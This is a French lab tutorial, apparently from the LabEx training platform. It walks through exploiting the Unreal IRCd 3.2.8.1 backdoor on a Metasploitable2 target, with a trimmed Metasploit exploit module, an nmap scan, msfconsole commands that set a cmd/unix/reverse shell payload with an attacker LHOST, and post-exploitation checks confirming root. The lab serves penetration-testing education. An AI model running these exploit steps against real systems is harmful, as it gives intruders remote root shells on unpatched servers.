Exploiter la vulnérabilité d'Unreal IRCd avec Nmap et Metasploit

CybersécuritéBeginner
Pratiquer maintenant

Introduction

Dans ce laboratoire, nous allons apprendre à exploiter le service Unreal IRCd sur la machine cible Metasploitable2 hébergée sur la plateforme LabEx. Nous commencerons par comprendre la vulnérabilité présente dans le service Unreal IRCd, puis nous effectuerons une analyse de vulnérabilité à l'aide de Nmap. Après avoir identifié le service vulnérable, nous utiliserons le framework Metasploit pour exploiter la faille et obtenir un shell distant sur la machine cible. Enfin, nous validerons le succès de notre exploitation en exécutant des commandes sur le système compromis.

Comprendre la vulnérabilité d'Unreal IRCd et démarrer l'environnement d'expérimentation

La version 3.2.8.1 d'Unreal IRCd contient une vulnérabilité de type porte dérobée (CVE-2010-2075) qui permet à des attaquants distants d'exécuter du code arbitraire sur le système affecté. La vulnérabilité réside dans la macro DEBUG3_DOLOG_SYSTEM, qui inclut du code malveillant externe pouvant être exploité par un attaquant.

Informations pertinentes :

Le module Metasploit pour exploiter cette vulnérabilité :

Voici un bref aperçu du module Metasploit :

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      ## ... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

Maintenant, vous allez démarrer la machine d'attaque (conteneur Kali Linux) et la machine cible (machine virtuelle Metasploitable2) pour l'expérience.

  1. Ouvrez un terminal xfce sur la machine hôte LabEx et démarrez la cible Metasploitable2 en exécutant la commande suivante :
sudo virsh start Metasploitable2

Attendez que la machine cible démarre, cela peut prendre 1 à 3 minutes.

  1. Testez la connectivité avec la machine cible en envoyant un ping :
ping 192.168.122.102

Appuyez sur Ctrl+C pour arrêter le ping.

  1. Lancez le conteneur Kali Linux et accédez à l'environnement bash en exécutant :
docker run -ti --network host b5b709a49cd5 bash
  1. À l'intérieur du conteneur Kali, testez la connexion réseau vers la machine cible :
ping 192.168.122.102

Appuyez sur Ctrl+C pour arrêter le ping.

Maintenant que la machine d'attaque et la machine cible sont en cours d'exécution, vous pouvez commencer les tests d'intrusion.

Remarque : Si vous quittez accidentellement le bash actuel, le conteneur Kali s'arrêtera automatiquement. Vous pouvez exécuter docker run -ti --network host b5b709a49cd5 bash à nouveau sur l'hôte pour démarrer un nouveau conteneur Kali et entrer dans le bash pour poursuivre l'expérience.

Effectuer une analyse de vulnérabilité

Dans cette étape, nous allons effectuer une analyse de vulnérabilité sur la machine cible pour identifier les ports ouverts et les services qui y sont exécutés. Nous utiliserons l'outil puissant Nmap (Network Mapper) à cette fin.

  1. Lancez la console Metasploit dans le conteneur Kali Linux :
cd ~
msfconsole
  1. Dans la console Metasploit, utilisez la commande nmap pour scanner la machine cible :
nmap -sV -T4 192.168.122.102

L'option -sV active la détection de version pour les ports ouverts, et -T4 définit la politique de temporisation sur un niveau agressif (1-5, plus le chiffre est élevé, plus l'analyse est rapide).

La sortie devrait afficher un port 6667 ouvert exécutant le service unreal ircd.

Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection

Exploiter la vulnérabilité d'Unreal IRCd

Maintenant que nous avons identifié le service Unreal IRCd vulnérable fonctionnant sur le port 6667, nous pouvons procéder à son exploitation en utilisant le framework Metasploit.

  1. Tout d'abord, si vous n'êtes pas dans la console Metasploit, vous devez la démarrer :
cd ~
msfconsole
  1. Dans la console Metasploit, recherchez le module unreal_ircd_3281_backdoor :
search unreal_ircd_3281_backdoor
  1. Chargez le module :
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Définissez l'hôte cible :
set RHOST 192.168.122.102
  1. Définissez un payload de type reverse shell pour le module :
set PAYLOAD cmd/unix/reverse
  1. Définissez l'adresse IP de l'hôte Kali qui recevra le reverse shell :
set LHOST 192.168.122.1
  1. Exécutez l'exploit :
exploit

Si l'exploit réussit, vous devriez obtenir un shell distant sur la machine cible. Si Metasploit indique qu'une session de shell de commande a été ouverte, vous pouvez poursuivre avec les commandes de validation dans le shell.

Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection

Valider l'exploitation

Pour valider que l'exploitation a réussi, nous pouvons exécuter des commandes sur le shell distant obtenu à l'étape précédente.

  1. Tout d'abord, si vous n'êtes pas dans la console Metasploit, vous devez la démarrer :
cd ~
msfconsole
  1. Vérifiez l'utilisateur actuel avec la commande whoami :
whoami
  1. Vérifiez le nom d'hôte avec la commande hostname :
hostname
  1. Vérifiez l'adresse IP avec la commande ifconfig :
ifconfig

Si la sortie indique root comme utilisateur actuel, metasploitable comme nom d'hôte, et que l'adresse IP correspond à la machine cible (192.168.122.102), cela confirme que l'exploitation a réussi et que vous avez pris le contrôle total du système cible.

Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection

Résumé

Dans ce laboratoire, nous avons découvert la vulnérabilité d'Unreal IRCd et appris à l'exploiter à l'aide du framework Metasploit. Nous avons commencé par comprendre la vulnérabilité et son impact, puis nous avons effectué une analyse de vulnérabilité pour identifier le service concerné. Après avoir trouvé le service Unreal IRCd fonctionnant sur le port 6667, nous avons utilisé le module Metasploit approprié pour exploiter la faille et obtenir un accès distant à la machine cible. Enfin, nous avons validé le succès de notre exploitation en exécutant des commandes sur le système compromis. Ce laboratoire a permis d'acquérir une expérience pratique en analyse de vulnérabilités, en techniques d'exploitation et en validation post-exploitation, des compétences essentielles pour les hackers éthiques et les professionnels de la cybersécurité.